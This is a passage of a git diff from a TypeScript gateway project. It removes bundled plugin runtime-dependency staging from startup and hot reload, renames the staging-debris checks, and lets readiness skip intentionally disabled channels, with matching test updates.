log, - }); - - expect(isSourceCheckoutRoot).toHaveBeenCalledWith("/package"); - expect(prepareBundledPluginRuntimeLoadRoot).toHaveBeenCalledWith( - expect.objectContaining({ - pluginId: "telegram", - installMissingDeps: true, - memoizePreparedRoot: true, - logInstalled: expect.any(Function), - }), - ); - expect(loadGatewayStartupPlugins).toHaveBeenCalledWith( - expect.objectContaining({ installBundledRuntimeDeps: false }), - ); - }); - - it("can defer runtime-deps staging and startup plugin loading until after HTTP bind", async () => { - const log = createLog(); - const { prepareGatewayPluginBootstrap } = await import("./server-startup-plugins.js"); - - await expect( - prepareGatewayPluginBootstrap({ - cfgAtStart: {}, - startupRuntimeConfig: {}, - minimalTestGateway: false, - log, - loadRuntimePlugins: false, - }), - ).resolves.toMatchObject({ - baseGatewayMethods: ["ping"], - startupPluginIds: ["telegram"], - runtimePluginsLoaded: false, - }); - - expect(loadPluginLookUpTable).toHaveBeenCalledOnce(); - expect(repairBundledRuntimeDepsPackagePlanAsync).not.toHaveBeenCalled(); - expect(prepareBundledPluginRuntimeLoadRoot).not.toHaveBeenCalled(); - expect(loadGatewayStartupPlugins).not.toHaveBeenCalled(); - }); - it("derives startup activation from source config instead of runtime plugin defaults", async () => { const sourceConfig = { channels: { @@ -529,42 +320,7 @@ describe("prepareGatewayPluginBootstrap runtime-deps staging", () => { }), ); }); - - it("keeps startup plugin loading verify-only after failed pre-start scan", async () => { - repairBundledRuntimeDepsPackagePlanAsync.mockRejectedValueOnce( - new Error("unsupported runtime dependency spec"), - ); - const log = createLog(); - const { prepareGatewayPluginBootstrap } = await import("./server-startup-plugins.js"); - - await expect( - prepareGatewayPluginBootstrap({ - cfgAtStart: {}, - startupRuntimeConfig: {}, - minimalTestGateway: false, - log, - }), - ).resolves.toMatchObject({ - baseGatewayMethods: ["ping"], - startupPluginIds: ["telegram"], - pluginLookUpTable: expect.objectContaining({ - manifestRegistry: pluginManifestRegistry, - }), - }); - - expect(loadGatewayStartupPlugins).toHaveBeenCalledOnce(); - expect(log.warn).toHaveBeenCalledWith( - expect.stringContaining("unsupported runtime dependency spec"), - ); - expect(loadGatewayStartupPlugins).toHaveBeenCalledWith( - expect.objectContaining({ installBundledRuntimeDeps: false }), - ); - expect(loadGatewayStartupPlugins.mock.calls[0]?.[0]).not.toHaveProperty( - "bundledRuntimeDepsInstaller", - ); - }); - - it("bypasses plugin lookup and runtime-deps staging when plugins are globally disabled", async () => { + it("bypasses plugin lookup when plugins are globally disabled", async () => { const cfg = { channels: { telegram: { @@ -597,7 +353,6 @@ describe("prepareGatewayPluginBootstrap runtime-deps staging", () => { }); expect(loadPluginLookUpTable).not.toHaveBeenCalled(); - expect(prepareBundledPluginRuntimeLoadRoot).not.toHaveBeenCalled(); expect(loadGatewayStartupPlugins).toHaveBeenCalledWith( expect.objectContaining({ cfg, diff --git a/src/gateway/server-startup-plugins.ts b/src/gateway/server-startup-plugins.ts index f3d1f0b17b6..26f6f8c99ea 100644 --- a/src/gateway/server-startup-plugins.ts +++ b/src/gateway/server-startup-plugins.ts @@ -3,16 +3,6 @@ import { initSubagentRegistry } from "../agents/subagent-registry.js"; import { runChannelPluginStartupMaintenance } from "../channels/plugins/lifecycle-startup.js"; import { applyPluginAutoEnable } from "../config/plugin-auto-enable.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; -import { measureDiagnosticsTimelineSpan } from "../infra/diagnostics-timeline.js"; -import { resolveOpenClawPackageRootSync } from "../infra/openclaw-root.js"; -import { registerBundledRuntimeDependencyJitiAliases } from "../plugins/bundled-runtime-deps-jiti-aliases.js"; -import { - isSourceCheckoutRoot, - pruneUnknownBundledRuntimeDepsRoots, -} from "../plugins/bundled-runtime-deps-roots.js"; -import { repairBundledRuntimeDepsPackagePlanAsync } from "../plugins/bundled-runtime-deps.js"; -import { prepareBundledPluginRuntimeLoadRoot } from "../plugins/bundled-runtime-root.js"; -import type { PluginManifestRegistry } from "../plugins/manifest-registry.js"; import { loadPluginLookUpTable } from "../plugins/plugin-lookup-table.js"; import type { PluginMetadataSnapshot } from "../plugins/plugin-metadata-snapshot.js"; import { createEmptyPluginRegistry } from "../plugins/registry.js"; @@ -29,10 +19,6 @@ type GatewayPluginBootstrapLog = { debug: (message: string) => void; }; -type GatewayBundledRuntimeDepsPrestageResult = { - repairError?: unknown; -}; - export function resolveGatewayStartupMaintenanceConfig(params: { cfgAtStart: OpenClawConfig; startupRuntimeConfig: OpenClawConfig; @@ -46,130 +32,6 @@ export function resolveGatewayStartupMaintenanceConfig(params: { : params.cfgAtStart; } -async function prestageGatewayBundledRuntimeDeps(params: { - cfg: OpenClawConfig; - manifestRegistry: PluginManifestRegistry; - pluginIds: readonly string[]; - log: GatewayPluginBootstrapLog; -}): Promise { - return await measureDiagnosticsTimelineSpan( - "runtimeDeps.stage", - () => prestageGatewayBundledRuntimeDepsImpl(params), - { - phase: "startup", - config: params.cfg, - attributes: { - pluginCount: params.pluginIds.length, - }, - }, - ); -} - -async function prestageGatewayBundledRuntimeDepsImpl(params: { - cfg: OpenClawConfig; - manifestRegistry: PluginManifestRegistry; - pluginIds: readonly string[]; - log: GatewayPluginBootstrapLog; -}): Promise { - if (params.pluginIds.length === 0) { - return {}; - } - let repairError: unknown; - const packageRoot = resolveOpenClawPackageRootSync({ - moduleUrl: import.meta.url, - argv1: process.argv[1], - cwd: process.cwd(), - }); - if (packageRoot) { - try { - pruneUnknownBundledRuntimeDepsRoots({ - env: process.env, - warn: (message) => params.log.warn(message), - }); - const startedAt = Date.now(); - const result = await repairBundledRuntimeDepsPackagePlanAsync({ - packageRoot, - config: params.cfg, - exactPluginIds: params.pluginIds, - env: process.env, - warn: (message) => params.log.warn(message), - onProgress: (message) => params.log.info(message), - }); - if (result.repairedSpecs.length > 0) { - params.log.info( - `[plugins] prepared bundled runtime dependencies before gateway startup in ${Date.now() - startedAt}ms: ${result.repairedSpecs.join(", ")}`, - ); - } else if (result.reusedSpecs && result.reusedSpecs.length > 0) { - params.log.info( - `[plugins] reused bundled runtime dependencies before gateway startup in ${Date.now() - startedAt}ms: ${result.reusedSpecs.join(", ")}`, - ); - } - } catch (error) { - repairError = error; - params.log.warn( - `[plugins] bundled runtime dependency staging failed; plugin load will verify without synchronous repair: ${String(error)}`, - ); - } - } - prestageGatewayBundledRuntimeMirrors({ - ...params, - ...(packageRoot ? { packageRoot } : {}), - previousRepairError: repairError, - }); - return repairError === undefined ? {} : { repairError }; -} - -function prestageGatewayBundledRuntimeMirrors(params: { - cfg: OpenClawConfig; - manifestRegistry: PluginManifestRegistry; - pluginIds: readonly string[]; - log: GatewayPluginBootstrapLog; - packageRoot?: string; - previousRepairError?: unknown; -}): void { - const pluginIdSet = new Set(params.pluginIds); - const allowSourceCheckoutRepair = - params.previousRepairError === undefined && - typeof params.packageRoot === "string" && - isSourceCheckoutRoot(params.packageRoot); - const startedAt = Date.now(); - const preparedPluginIds: string[] = []; - for (const record of params.manifestRegistry.plugins) { - if (record.origin !== "bundled" || !pluginIdSet.has(record.id)) { - continue; - } - try { - prepareBundledPluginRuntimeLoadRoot({ - pluginId: record.id, - pluginRoot: record.rootDir, - modulePath: record.source, - ...(record.setupSource ? { setupModulePath: record.setupSource } : {}), - env: process.env, - config: params.cfg, - installMissingDeps: allowSourceCheckoutRepair, - previousRepairError: params.previousRepairError, - memoizePreparedRoot: true, - registerRuntimeAliasRoot: registerBundledRuntimeDependencyJitiAliases, - logInstalled: (installedSpecs) => { - params.log.info( - `[plugins] ${record.id} installed bundled runtime deps in source checkout pre-stage: ${installedSpecs.join(", ")}`, - ); - }, - }); - preparedPluginIds.push(record.id); - } catch (error) { - params.log.warn( - `[plugins] bundled runtime mirror prep for ${record.id} failed; plugin load will verify without synchronous repair: ${String(error)}`, - ); - } - } - if (preparedPluginIds.length > 0) { - params.log.info( - `[plugins] prepared bundled runtime roots before gateway startup in ${Date.now() - startedAt}ms: ${preparedPluginIds.join(", ")}`, - ); - } -} - export async function prepareGatewayPluginBootstrap(params: { cfgAtStart: OpenClawConfig; activationSourceConfig?: OpenClawConfig; @@ -290,15 +152,6 @@ export async function loadGatewayStartupPluginRuntime(params: { preferSetupRuntimeForChannelPlugins?: boolean; suppressPluginInfoLogs?: boolean; }) { - const prestageResult = await prestageGatewayBundledRuntimeDeps({ - cfg: params.cfg, - manifestRegistry: params.pluginLookUpTable?.manifestRegistry ?? { - plugins: [], - diagnostics: [], - }, - pluginIds: params.startupPluginIds, - log: params.log, - }); return loadGatewayStartupPlugins({ cfg: params.cfg, activationSourceConfig: params.activationSourceConfig, @@ -308,8 +161,6 @@ export async function loadGatewayStartupPluginRuntime(params: { baseMethods: params.baseMethods, pluginIds: params.startupPluginIds, pluginLookUpTable: params.pluginLookUpTable, - installBundledRuntimeDeps: false, - bundledRuntimeDepsRepairError: prestageResult.repairError, preferSetupRuntimeForChannelPlugins: params.preferSetupRuntimeForChannelPlugins, suppressPluginInfoLogs: params.suppressPluginInfoLogs, }); diff --git a/src/gateway/server.impl.ts b/src/gateway/server.impl.ts index 53a9d5224db..6b0f4193f5d 100644 --- a/src/gateway/server.impl.ts +++ b/src/gateway/server.impl.ts @@ -35,7 +35,6 @@ import { enqueueSystemEvent } from "../infra/system-events.js"; import type { VoiceWakeRoutingConfig } from "../infra/voicewake-routing.js"; import { startDiagnosticHeartbeat, stopDiagnosticHeartbeat } from "../logging/diagnostic.js"; import { createSubsystemLogger, runtimeForLogger } from "../logging/subsystem.js"; -import { getActiveBundledRuntimeDepsInstallCount } from "../plugins/bundled-runtime-deps-activity.js"; import { clearCurrentPluginMetadataSnapshot, setCurrentPluginMetadataSnapshot, @@ -545,7 +544,6 @@ export async function startGatewayServer( getTotalQueueSize() + getTotalPendingReplies() + getActiveEmbeddedRunCount() + - getActiveBundledRuntimeDepsInstallCount() + getInspectableTaskRegistrySummary().active, ); // Unconditional startup migration: seed gateway.controlUi.allowedOrigins for existing @@ -743,6 +741,9 @@ export async function startGatewayServer( getStartupPending: () => !startupSidecarsReady, getStartupPendingReason: () => startupPendingReason, getEventLoopHealth: readinessEventLoopHealth.snapshot, + shouldSkipChannelReadiness: () => + isTruthyEnvValue(process.env.OPENCLAW_SKIP_CHANNELS) || + isTruthyEnvValue(process.env.OPENCLAW_SKIP_PROVIDERS), }); log.info("starting HTTP server..."); const { @@ -1206,7 +1207,7 @@ export async function startGatewayServer( pluginLookUpTable, }), onStartupPluginsLoading: () => { - startupPendingReason = "plugin-runtime-deps"; + startupPendingReason = "startup-sidecars"; }, onStartupPluginsLoaded: async (loaded) => { replaceAttachedPluginRuntime(loaded); diff --git a/src/gateway/server.reload.test.ts b/src/gateway/server.reload.test.ts index bee73bfbc4b..45db86744b9 100644 --- a/src/gateway/server.reload.test.ts +++ b/src/gateway/server.reload.test.ts @@ -51,14 +51,6 @@ const hoisted = vi.hoisted(() => { const stopGmailWatcher = vi.fn(async () => {}); const resetModelCatalogCache = vi.fn(); const disposeAllSessionMcpRuntimes = vi.fn(async () => {}); - const pruneUnknownBundledRuntimeDepsRoots = vi.fn((_params: unknown) => ({ - scanned: 0, - removed: 0, - skippedLocked: 0, - })); - const repairBundledRuntimeDepsPackagePlanAsync = vi.fn(async (_params: unknown) => ({ - repairedSpecs: [] as string[], - })); const resolveOpenClawPackageRootSync = vi.fn((_params: unknown) => "/package"); const providerManager = { @@ -162,8 +154,6 @@ const hoisted = vi.hoisted(() => { stopGmailWatcher, resetModelCatalogCache, disposeAllSessionMcpRuntimes, - pruneUnknownBundledRuntimeDepsRoots, - repairBundledRuntimeDepsPackagePlanAsync, resolveOpenClawPackageRootSync, providerManager, createChannelManager, @@ -222,22 +212,6 @@ vi.mock("../infra/openclaw-root.js", async (importOriginal) => { }; }); -vi.mock("../plugins/bundled-runtime-deps.js", async (importOriginal) => { - const actual = await importOriginal(); - return { - ...actual, - repairBundledRuntimeDepsPackagePlanAsync: hoisted.repairBundledRuntimeDepsPackagePlanAsync, - }; -}); - -vi.mock("../plugins/bundled-runtime-deps-roots.js", async (importOriginal) => { - const actual = await importOriginal(); - return { - ...actual, - pruneUnknownBundledRuntimeDepsRoots: hoisted.pruneUnknownBundledRuntimeDepsRoots, - }; -}); - vi.mock("../agents/pi-embedded-runner/runs.js", async () => { const actual = await vi.importActual( "../agents/pi-embedded-runner/runs.js", @@ -342,9 +316,6 @@ describe("gateway hot reload", () => { hoisted.resetModelCatalogCache.mockReset(); hoisted.disposeAllSessionMcpRuntimes.mockReset(); hoisted.disposeAllSessionMcpRuntimes.mockResolvedValue(undefined); - hoisted.pruneUnknownBundledRuntimeDepsRoots.mockClear(); - hoisted.repairBundledRuntimeDepsPackagePlanAsync.mockReset(); - hoisted.repairBundledRuntimeDepsPackagePlanAsync.mockResolvedValue({ repairedSpecs: [] }); hoisted.resolveOpenClawPackageRootSync.mockClear(); hoisted.resolveOpenClawPackageRootSync.mockReturnValue("/package"); hoisted.resetReloadCallbacks(); @@ -888,58 +859,6 @@ describe("gateway hot reload", () => { expect(hoisted.resetModelCatalogCache).toHaveBeenCalledTimes(1); }); }); - - it("plans bundled runtime deps before hot channel reloads", async () => { - await withNonMinimalGatewayServer(async () => { - const onHotReload = hoisted.getOnHotReload(); - expect(onHotReload).toBeTypeOf("function"); - hoisted.repairBundledRuntimeDepsPackagePlanAsync.mockResolvedValueOnce({ - repairedSpecs: ["grammy@1.37.0"], - }); - - const nextConfig = { - channels: { - telegram: { - enabled: true, - botToken: "token", - }, - }, - }; - - await onHotReload?.( - { - changedPaths: ["channels.telegram.enabled"], - restartGateway: false, - restartReasons: [], - hotReasons: ["channels.telegram.enabled"], - reloadHooks: false, - restartGmailWatcher: false, - restartCron: false, - restartHeartbeat: false, - restartHealthMonitor: false, - restartChannels: new Set(["telegram"]), - disposeMcpRuntimes: false, - planPluginRuntimeDeps: true, - noopPaths: [], - }, - nextConfig, - ); - - expect(hoisted.repairBundledRuntimeDepsPackagePlanAsync).toHaveBeenCalledWith( - expect.objectContaining({ - packageRoot: "/package", - config: nextConfig, - includeConfiguredChannels: true, - }), - ); - expect( - hoisted.repairBundledRuntimeDepsPackagePlanAsync.mock.invocationCallOrder[0], - ).toBeLessThan(hoisted.providerManager.stopChannel.mock.invocationCallOrder[0] ?? Infinity); - expect(hoisted.providerManager.stopChannel).toHaveBeenCalledWith("telegram"); - expect(hoisted.providerManager.startChannel).toHaveBeenCalledWith("telegram"); - }); - }); - it("disposes cached MCP runtimes on MCP config hot reloads", async () => { await withNonMinimalGatewayServer(async () => { const onHotReload = hoisted.getOnHotReload(); diff --git a/src/gateway/server/readiness.test.ts b/src/gateway/server/readiness.test.ts index 519467e3777..50108eee4c2 100644 --- a/src/gateway/server/readiness.test.ts +++ b/src/gateway/server/readiness.test.ts @@ -66,6 +66,9 @@ function createReadinessHarness(params: { getStartupPending?: () => boolean; getStartupPendingReason?: Parameters[0]["getStartupPendingReason"]; getEventLoopHealth?: Parameters[0]["getEventLoopHealth"]; + shouldSkipChannelReadiness?: Parameters< + typeof createReadinessChecker + >[0]["shouldSkipChannelReadiness"]; cacheTtlMs?: number; }) { const startedAt = Date.now() - params.startedAgoMs; @@ -78,6 +81,7 @@ function createReadinessHarness(params: { getStartupPending: params.getStartupPending, getStartupPendingReason: params.getStartupPendingReason, getEventLoopHealth: params.getEventLoopHealth, + shouldSkipChannelReadiness: params.shouldSkipChannelReadiness, cacheTtlMs: params.cacheTtlMs, }), }; @@ -115,11 +119,11 @@ describe("createReadinessChecker", () => { startedAgoMs: 5 * 60_000, accounts: {}, getStartupPending: () => true, - getStartupPendingReason: () => "plugin-runtime-deps", + getStartupPendingReason: () => "startup-sidecars", }); expect(readiness()).toEqual({ ready: false, - failing: ["plugin-runtime-deps"], + failing: ["startup-sidecars"], uptimeMs: 300_000, }); }); @@ -206,6 +210,32 @@ describe("createReadinessChecker", () => { }); }); + it("treats intentionally skipped channels as ready", () => { + withReadinessClock(() => { + const { manager, readiness } = createReadinessHarness({ + startedAgoMs: 5 * 60_000, + accounts: { + discord: { + running: false, + enabled: true, + configured: true, + lastStartAt: Date.now() - 5 * 60_000, + }, + telegram: { + running: false, + enabled: true, + configured: true, + lastStartAt: Date.now() - 5 * 60_000, + }, + }, + shouldSkipChannelReadiness: () => true, + }); + + expect(readiness()).toEqual({ ready: true, failing: [], uptimeMs: 300_000 }); + expect(manager.getRuntimeSnapshot).not.toHaveBeenCalled(); + }); + }); + it("keeps restart-pending channels ready during reconnect backoff", () => { withReadinessClock(() => { const startedAt = Date.now() - 5 * 60_000; diff --git a/src/gateway/server/readiness.ts b/src/gateway/server/readiness.ts index cbdb23de4e2..e0127c22385 100644 --- a/src/gateway/server/readiness.ts +++ b/src/gateway/server/readiness.ts @@ -39,6 +39,7 @@ export function createReadinessChecker(deps: { getStartupPending?: () => boolean; getStartupPendingReason?: () => string | undefined; getEventLoopHealth?: () => GatewayEventLoopHealth | undefined; + shouldSkipChannelReadiness?: () => boolean; cacheTtlMs?: number; }): ReadinessChecker { const { channelManager, startedAt } = deps; @@ -56,6 +57,9 @@ export function createReadinessChecker(deps: { deps.getEventLoopHealth, ); } + if (deps.shouldSkipChannelReadiness?.()) { + return withEventLoopHealth({ ready: true, failing: [], uptimeMs }, deps.getEventLoopHealth); + } if (cachedState && now - cachedAt < cacheTtlMs) { return withEventLoopHealth({ ...cachedState, uptimeMs }, deps.getEventLoopHealth); } diff --git a/src/infra/package-dist-inventory.test.ts b/src/infra/package-dist-inventory.test.ts index 6e7169866dc..c316c2d320a 100644 --- a/src/infra/package-dist-inventory.test.ts +++ b/src/infra/package-dist-inventory.test.ts @@ -3,13 +3,13 @@ import path from "node:path"; import { describe, expect, it } from "vitest"; import { withTempDir } from "../test-helpers/temp-dir.js"; import { - assertNoBundledRuntimeDepsStagingDebris, - collectBundledRuntimeDepsStagingDebrisPaths, + assertNoLegacyPluginDependencyStagingDebris, + collectLegacyPluginDependencyStagingDebrisPaths, collectPackageDistInventoryErrors, LOCAL_BUILD_METADATA_DIST_PATHS, PACKAGE_DIST_INVENTORY_RELATIVE_PATH, collectPackageDistInventory, - isBundledRuntimeDepsInstallStagePath, + isLegacyPluginDependencyInstallStagePath, writePackageDistInventory, } from "./package-dist-inventory.js"; @@ -213,28 +213,28 @@ describe("package dist inventory", () => { it("matches install-stage paths case-insensitively across path segments", () => { expect( - isBundledRuntimeDepsInstallStagePath( + isLegacyPluginDependencyInstallStagePath( "dist/extensions/brave/.openclaw-install-stage/node_modules/typebox/package.json", ), ).toBe(true); expect( - isBundledRuntimeDepsInstallStagePath( + isLegacyPluginDependencyInstallStagePath( "dist/Extensions/browser/.OPENCLAW-INSTALL-STAGE-AbC123/node_modules/playwright-core/package.json", ), ).toBe(true); expect( - isBundledRuntimeDepsInstallStagePath( + isLegacyPluginDependencyInstallStagePath( "Dist/Extensions/browser/.OpenClaw-Install-Stage/package.json", ), ).toBe(true); expect( - isBundledRuntimeDepsInstallStagePath( + isLegacyPluginDependencyInstallStagePath( "dist/extensions/browser/.openclaw-runtime-deps-copy-AbC123/package.json", ), ).toBe(false); - expect(isBundledRuntimeDepsInstallStagePath("dist/extensions/.openclaw-install-stage")).toBe( - false, - ); + expect( + isLegacyPluginDependencyInstallStagePath("dist/extensions/.openclaw-install-stage"), + ).toBe(false); }); it("rejects pre-populated install-stage debris at publish time", async () => { @@ -262,15 +262,15 @@ describe("package dist inventory", () => { await fs.mkdir(path.dirname(suffixedSeed), { recursive: true }); await fs.writeFile(suffixedSeed, "{}", "utf8"); - await expect(collectBundledRuntimeDepsStagingDebrisPaths(packageRoot)).resolves.toEqual([ + await expect(collectLegacyPluginDependencyStagingDebrisPaths(packageRoot)).resolves.toEqual([ "dist/extensions/browser/.openclaw-install-stage-AbC123", "dist/extensions/evil/.openclaw-install-stage", ]); - await expect(assertNoBundledRuntimeDepsStagingDebris(packageRoot)).rejects.toThrow( - /unexpected bundled-runtime-deps install staging debris/, + await expect(assertNoLegacyPluginDependencyStagingDebris(packageRoot)).rejects.toThrow( + /unexpected legacy plugin dependency staging debris/, ); await expect(writePackageDistInventory(packageRoot)).rejects.toThrow( - /unexpected bundled-runtime-deps install staging debris/, + /unexpected legacy plugin dependency staging debris/, ); }); }); @@ -290,11 +290,11 @@ describe("package dist inventory", () => { await fs.mkdir(path.dirname(mixedCaseStage), { recursive: true }); await fs.writeFile(mixedCaseStage, "{}", "utf8"); - await expect(collectBundledRuntimeDepsStagingDebrisPaths(packageRoot)).resolves.toEqual([ - "dist/Extensions/evil/.OpenClaw-Install-Stage", - ]); + await expect(collectLegacyPluginDependencyStagingDebrisPaths(packageRoot)).resolves.toEqual( + ["dist/Extensions/evil/.OpenClaw-Install-Stage"], + ); await expect(writePackageDistInventory(packageRoot)).rejects.toThrow( - /unexpected bundled-runtime-deps install staging debris/, + /unexpected legacy plugin dependency staging debris/, ); }, ); @@ -313,11 +313,11 @@ describe("package dist inventory", () => { await fs.mkdir(path.dirname(mixedCaseStage), { recursive: true }); await fs.writeFile(mixedCaseStage, "{}", "utf8"); - await expect(collectBundledRuntimeDepsStagingDebrisPaths(packageRoot)).resolves.toEqual([ - "Dist/Extensions/browser/.OPENCLAW-INSTALL-STAGE-AbC123", - ]); + await expect(collectLegacyPluginDependencyStagingDebrisPaths(packageRoot)).resolves.toEqual( + ["Dist/Extensions/browser/.OPENCLAW-INSTALL-STAGE-AbC123"], + ); await expect(writePackageDistInventory(packageRoot)).rejects.toThrow( - /unexpected bundled-runtime-deps install staging debris/, + /unexpected legacy plugin dependency staging debris/, ); }, ); @@ -326,8 +326,12 @@ describe("package dist inventory", () => { it("treats a missing dist/extensions tree as no staging debris", async () => { await withTempDir({ prefix: "openclaw-dist-inventory-no-extensions-" }, async (packageRoot) => { await fs.mkdir(path.join(packageRoot, "dist"), { recursive: true }); - await expect(collectBundledRuntimeDepsStagingDebrisPaths(packageRoot)).resolves.toEqual([]); - await expect(assertNoBundledRuntimeDepsStagingDebris(packageRoot)).resolves.toBeUndefined(); + await expect(collectLegacyPluginDependencyStagingDebrisPaths(packageRoot)).resolves.toEqual( + [], + ); + await expect( + assertNoLegacyPluginDependencyStagingDebris(packageRoot), + ).resolves.toBeUndefined(); }); }); diff --git a/src/infra/package-dist-inventory.ts b/src/infra/package-dist-inventory.ts index 0d2ae6d2d36..d86a4de3c74 100644 --- a/src/infra/package-dist-inventory.ts +++ b/src/infra/package-dist-inventory.ts @@ -49,7 +49,7 @@ function isInstallStageDirName(value: string): boolean { return INSTALL_STAGE_DEBRIS_DIR_PATTERN.test(value); } -export function isBundledRuntimeDepsInstallStagePath(relativePath: string): boolean { +export function isLegacyPluginDependencyInstallStagePath(relativePath: string): boolean { const parts = normalizeRelativePath(relativePath).split("/"); return ( parts.length >= 4 && @@ -94,7 +94,7 @@ function isPackagedDistPath(relativePath: string): boolean { function isOmittedDistSubtree(relativePath: string): boolean { return ( - isBundledRuntimeDepsInstallStagePath(relativePath) || + isLegacyPluginDependencyInstallStagePath(relativePath) || OMITTED_DIST_SUBTREE_PATTERNS.some((pattern) => pattern.test(relativePath)) ); } @@ -141,7 +141,7 @@ export async function collectPackageDistInventory(packageRoot: string): Promise< return await collectRelativeFiles(path.join(packageRoot, "dist"), packageRoot); } -export async function collectBundledRuntimeDepsStagingDebrisPaths( +export async function collectLegacyPluginDependencyStagingDebrisPaths( packageRoot: string, ): Promise { const distDirs: string[] = []; @@ -216,18 +216,20 @@ export async function collectBundledRuntimeDepsStagingDebrisPaths( return debris.toSorted((left, right) => left.localeCompare(right)); } -export async function assertNoBundledRuntimeDepsStagingDebris(packageRoot: string): Promise { - const debris = await collectBundledRuntimeDepsStagingDebrisPaths(packageRoot); +export async function assertNoLegacyPluginDependencyStagingDebris( + packageRoot: string, +): Promise { + const debris = await collectLegacyPluginDependencyStagingDebrisPaths(packageRoot); if (debris.length === 0) { return; } throw new Error( - `unexpected bundled-runtime-deps install staging debris in package dist: ${debris.join(", ")}`, + `unexpected legacy plugin dependency staging debris in package dist: ${debris.join(", ")}`, ); } export async function writePackageDistInventory(packageRoot: string): Promise { - await assertNoBundledRuntimeDepsStagingDebris(packageRoot); + await assertNoLegacyPluginDependencyStagingDebris(packageRoot); const inventory = [...new Set(await collectPackageDistInventory(packageRoot))].toSorted( (left, right) => left.localeCompare(right), ); diff --git a/src/infra/run-node.test.ts b/src/infra/run-node.test.ts index 27453994cc0..c87021639c8 100644 --- a/src/infra/run-node.test.ts +++ b/src/infra/run-node.test.ts @@ -697,12 +697,12 @@ describe("run-node script", () => { }); }); - it("restages dirty runtime metadata in watch mode when dist is already current", async () => { + it("reruns runtime postbuild for dirty extension package metadata in watch mode", async () => { await withTempDir({ prefix: "openclaw-run-node-" }, async (tmp) => { await setupTrackedProject(tmp, { files: { [ROOT_SRC]: "export const value = 1;\n", - [EXTENSION_PACKAGE]: '{"openclaw":{"bundle":{"stageRuntimeDependencies":true}}}\n', + [EXTENSION_PACKAGE]: '{"openclaw":{"extensions":["./index.ts"]}}\n', [RUNTIME_POSTBUILD_STAMP]: '{"head":"abc123"}\n', }, buildPaths: [ diff --git a/src/infra/tsdown-config.test.ts b/src/infra/tsdown-config.test.ts index 6988f275039..6cf49267868 100644 --- a/src/infra/tsdown-config.test.ts +++ b/src/infra/tsdown-config.test.ts @@ -49,11 +49,6 @@ function entrySources(config: TsdownConfigEntry): Record { return config.entry; } -function hasBundledPluginRuntimeEntry(config: TsdownConfigEntry): boolean { - const keys = entryKeys(config); - return keys.includes("index") || keys.includes("runtime-api"); -} - function bundledEntry(pluginId: string): string { return `${bundledPluginRoot(pluginId)}/index`; } @@ -116,26 +111,12 @@ describe("tsdown config", () => { expect(new Set(importSpecifiers)).toEqual(new Set(["./lifecycle.runtime.js"])); }); - it("emits staged bundled plugins as separate extension graphs", () => { - const stagedGraphs = asConfigArray(tsdownConfig).filter( + it("keeps bundled plugins out of separate dependency-staging graphs", () => { + const extensionGraphs = asConfigArray(tsdownConfig).filter( (config) => typeof config.outDir === "string" && config.outDir.startsWith("dist/extensions/"), ); - expect(stagedGraphs.length).toBeGreaterThan(0); - expect(stagedGraphs.every(hasBundledPluginRuntimeEntry)).toBe(true); - expect(stagedGraphs.every((config) => !entryKeys(config).includes("plugin-sdk/index"))).toBe( - true, - ); - expect(stagedGraphs.some((config) => config.outDir === "dist/extensions/discord")).toBe(true); - expect(stagedGraphs.some((config) => config.outDir === "dist/extensions/msteams")).toBe(true); - expect(stagedGraphs.some((config) => config.outDir === "dist/extensions/openai")).toBe(true); - expect( - stagedGraphs.some( - (config) => - config.outDir === "dist/extensions/media-understanding-core" && - entryKeys(config).includes("image-ops"), - ), - ).toBe(true); + expect(extensionGraphs).toEqual([]); }); it("does not emit plugin-sdk or hooks from a separate dist graph", () => { @@ -151,17 +132,17 @@ describe("tsdown config", () => { ).toBe(false); }); - it("externalizes staged bundled plugin runtime dependencies", () => { + it("externalizes known heavy native dependencies", () => { const unifiedGraph = unifiedDistGraph(); const neverBundle = unifiedGraph?.deps?.neverBundle; if (typeof neverBundle === "function") { - expect(neverBundle("silk-wasm")).toBe(true); - expect(neverBundle("ws")).toBe(true); - expect(neverBundle("ws/lib/websocket.js")).toBe(true); + expect(neverBundle("@lancedb/lancedb")).toBe(true); + expect(neverBundle("@matrix-org/matrix-sdk-crypto-nodejs")).toBe(true); + expect(neverBundle("matrix-js-sdk/lib/client.js")).toBe(true); expect(neverBundle("not-a-runtime-dependency")).toBe(false); } else { - expect(neverBundle).toEqual(expect.arrayContaining(["silk-wasm", "ws"])); + expect(neverBundle).toEqual(expect.arrayContaining(["@lancedb/lancedb", "matrix-js-sdk"])); } }); diff --git a/src/plugin-sdk/channel-entry-contract.test.ts b/src/plugin-sdk/channel-entry-contract.test.ts index d388258b5b4..524b73ceb73 100644 --- a/src/plugin-sdk/channel-entry-contract.test.ts +++ b/src/plugin-sdk/channel-entry-contract.test.ts @@ -214,7 +214,7 @@ async function expectBuiltArtifactNodeRequireFastPath( const sidecarPath = path.join(pluginRoot, "fast-path-sidecar.cjs"); fs.writeFileSync(importerPath, "export default {};\n", "utf8"); // CommonJS so `nodeRequire` succeeds without falling back to jiti, even - // after runtime-deps mirroring writes a `type: "module"` package boundary. + // inside built plugin artifacts with a `type: "module"` package boundary. fs.writeFileSync(sidecarPath, "module.exports = { sentinel: 7 };\n", "utf8"); expect( @@ -337,7 +337,6 @@ describe("loadBundledEntryExportSync", () => { specifier: "./helper.ts", exportName: "load", }, - { installRuntimeDeps: false }, ), ).toBe(42); expect(jitiLoad).toHaveBeenCalledWith( @@ -398,9 +397,9 @@ describe("loadBundledEntryExportSync", () => { }); it("emits non-negative jiti sub-step timings on the built-artifact load path", async () => { - // Built artifacts prefer `nodeRequire`, but runtime-deps staging can still - // make Node reject a sidecar and fall back through jiti. The profile line - // must never report negative or missing jiti sub-step timings either way. + // Built artifacts prefer `nodeRequire`, but Node can still reject a sidecar + // and fall back through jiti. The profile line must never report negative + // or missing jiti sub-step timings either way. await expectBuiltArtifactNodeRequireFastPath("built-artifact-profile-fast-path"); }); diff --git a/src/plugin-sdk/channel-entry-contract.ts b/src/plugin-sdk/channel-entry-contract.ts index 952e98c2fcb..fc1dd9a8be4 100644 --- a/src/plugin-sdk/channel-entry-contract.ts +++ b/src/plugin-sdk/channel-entry-contract.ts @@ -8,10 +8,6 @@ import type { ChannelLegacyStateMigrationPlan } from "../channels/plugins/types. import type { ChannelPlugin } from "../channels/plugins/types.plugin.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import { openBoundaryFileSync } from "../infra/boundary-file-read.js"; -import { - isBuiltBundledPluginRuntimeRoot, - prepareBundledPluginRuntimeRoot, -} from 